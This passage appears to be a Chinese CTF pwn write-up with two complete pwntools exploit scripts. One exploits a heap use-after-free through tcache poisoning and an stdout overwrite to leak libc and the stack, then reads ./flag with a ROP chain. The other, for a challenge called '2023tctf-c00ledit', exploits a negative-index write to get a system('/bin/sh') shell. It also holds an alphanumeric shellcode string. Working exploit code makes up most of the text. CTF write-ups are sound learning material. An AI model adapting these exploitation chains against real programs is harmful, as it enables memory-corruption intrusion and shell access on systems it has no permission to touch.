gdb.attach(p) pause() p=run() def choice (num=int ): sla(b'Choice: ' ,tbs(num)) menu = 'Choice: ' def add (size, content ): sla(menu, '1' ) sla('Please input size: ' , str (size)) sa('Please input content: ' , content) def delete (index ): sla(menu, '2' ) sla('Please input idx: ' , str (index)) def show (index ): sla(menu, '3' ) sla('Please input idx: \n' , str (index)) def uaf (idx=int ): choice(666 ) sla(b'Please input idx: \n' ,tbs(idx)) pal=b'a' *0x20 for i in range (9 ): add(0x80 ,pal) add(0x80 ,pal) for i in range (7 ): delete(i) uaf(8 ) show(8 ) libc_base=u64(r(6 ).ljust(8 ,b'\x00' ))-2018272 leak("libc_base" ,libc_base) stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] leak('stdout' ,stdout) environ = libc_base + libc.sym['environ' ] leak('environ' ,environ) delete(7 ) add(0x80 ,pal) delete(8 ) add(0x70 ,b's1nec-1o' ) pal=p64(0 )+p64(0x91 )+p64(stdout) add(0x70 ,pal) add(0x80 ,b's1nec-1o' ) pal2 = p64(0xfbad1800 ) + p64(0 ) * 3 + p64(environ) + p64(environ + 8 ) * 2 add(0x80 ,pal2) stack_addr=u64(ru('\x7f' )[-6 :].ljust(8 ,b'\x00' ))-0x128 leak("stack_addr" ,stack_addr) print (stack_addr)delete(3 ) delete(2 ) p3 = p64(0 ) + p64(0x91 ) + p64(stack_addr) add(0x70 , p3) add(0x80 , 'dddd' ) read_addr = libc_base + libc.sym['read' ] open_addr = libc_base + libc.sym['open' ] write_addr = libc_base + libc.sym['write' ] pop_rdi_ret = libc_base + 0x0000000000023b6a pop_rsi_ret = libc_base +0x000000000002601f pop_rdx_ret = 0x0000000000142c92 + libc_base flag_addr = stack_addr ppp = stack_addr + 0x200 p4 = b'./flag\x00\x00' p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0 ) + p64(open_addr) p4 += p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50 ) + p64(read_addr) puts_addr = libc_base + libc.sym['puts' ] p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr) add(0x80 ,p4) irt()
不过有个恶心的点,不知道为什么如果我的
1 2 3 4 5 6 7 8 9 10 11 12 def add (size, content ): sla(menu, '1' ) sla('Please input size: ' , str (size)) sa('Please input content: ' , content) def delete (index ): sla(menu, '2' ) sla('Please input idx: ' , str (index)) def show (index ): sla(menu, '3' ) sla('Please input idx: \n' , str (index))
这部分如果将str改为str().encode会导致之后的puts无法正常输出,挺奇怪的。。。。。
2023tctf-c00ledit 本题主要是负数溢出
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 __fastcall main (const char *a1, char **a2, char **a3) { __int64 v3; int v4; __int64 result; while ( 2 ) { menu(); switch ( similar_read() ) { case 1LL : add((__int64)a1, (__int64)a2, v3, v4); continue ; case 2LL : case 4LL : a1 = "Not implemented!" ; puts ("Not implemented!" ); continue ; case 3LL : ((void (__fastcall *)(const char *, char **))edit)(a1, a2); continue ; case 5LL : result = 0LL ; break ; default : puts ("invalid choice" ); result = 0xFFFFFFFF LL; break ; } break ; } return result; }
程序只提供了两个功能,一个add和一个edit,add主要malloc一个0x10,前0x8存大小,后0x8存下一个malloc(0x1000)的地址,而主要的漏洞点在edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int edit () { const char *v0; __int64 v1; __int64 v2; int result; v0 = "No chance!" ; if ( num > 16 ) return puts (v0); __printf_chk(1LL , "Index: " ); v0 = "Invalid index!" ; v1 = similar_read(); if ( !heap_addr[v1] ) return puts (v0); __printf_chk(1LL , "Offset: " ); v2 = similar_read(); if ( v2 + 7 >= *(_QWORD *)heap_addr[v1] ) { v0 = "Invalid offset!" ; return puts (v0); } __printf_chk(1LL , "Content: " ); result = read(0 , (void *)(*(_QWORD *)(heap_addr[v1] + 8LL ) + v2), 8uLL ); ++num; return result; }
发现两个涉及数组的地方均有负数溢出,第一个heap的负数可以涉到
stdout,因此可以考虑通过stdout来泄露libc基址,会发现在
在IO_FILE中如果不修改他的三个write指针指向的都是本结构体的高位地址,因此可以覆写低位来泄露结构体的地址,而偏移固然是不变的,就可以泄露libc基址了,然后再泄露environ来打stack rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *from ctypes import *context(os='linux' , arch='amd64' , log_level='debug' ) libc=ELF('./libc.so.6' ) path='./chall' elf=ELF(path) amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA" r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda s,n :print ("\033[31m[" +s+" -> " +str (hex (n))+"]\033[0m" ) local=1 def run (): if local: return process(path) return remote('node4.anna.nssctf.cn' ,28282 ) def debug (duan=None ): if local: if duan: gdb.attach(p, execute=duan) else : gdb.attach(p) pause() p=run() def add (): sla(b'Your choice: ' ,b'1' ) def edit (index,offset,content ): sla(b'Your choice: ' ,b'3' ) sla(b'Index: ' ,str (index)) sla(b'Offset: ' ,str (offset)) sa(b'Content: ' ,content) edit(-8 ,-131 ,p64(0Xfbad1800 )) edit(-8 ,-91 ,b'\x30' ) libc.address=u64((ru(b'\x7f' )[-6 :]).ljust(8 ,b'\x00' ))-2210416 leak("libc_base" ,libc.address) edit(-8 ,-91 ,p64(libc.sym['_environ' ]+8 )) for i in range (6 ): p.recv() p.recv(0xa03 ) stack=u64((ru(b'\x7f' )[-6 :]).ljust(8 ,b'\x00' )) leak('stack' ,stack) main_ret=stack-0x120 add() edit(0 ,-24 ,p64(main_ret)) edit(0 ,8 ,p64(next (libc.search(b'/bin/sh' )))) edit(0 ,24 ,p64(libc.sym['system' ])) edit(0 ,16 ,p64(libc.search(asm('pop rdi;ret;' )).__next__()+1 )) edit(0 ,0 ,p64(libc.search(asm('pop rdi;ret;' )).__next__())) irt()
注意栈平衡,听说也可以打修改got.plt来shellcode,不过感觉是要再写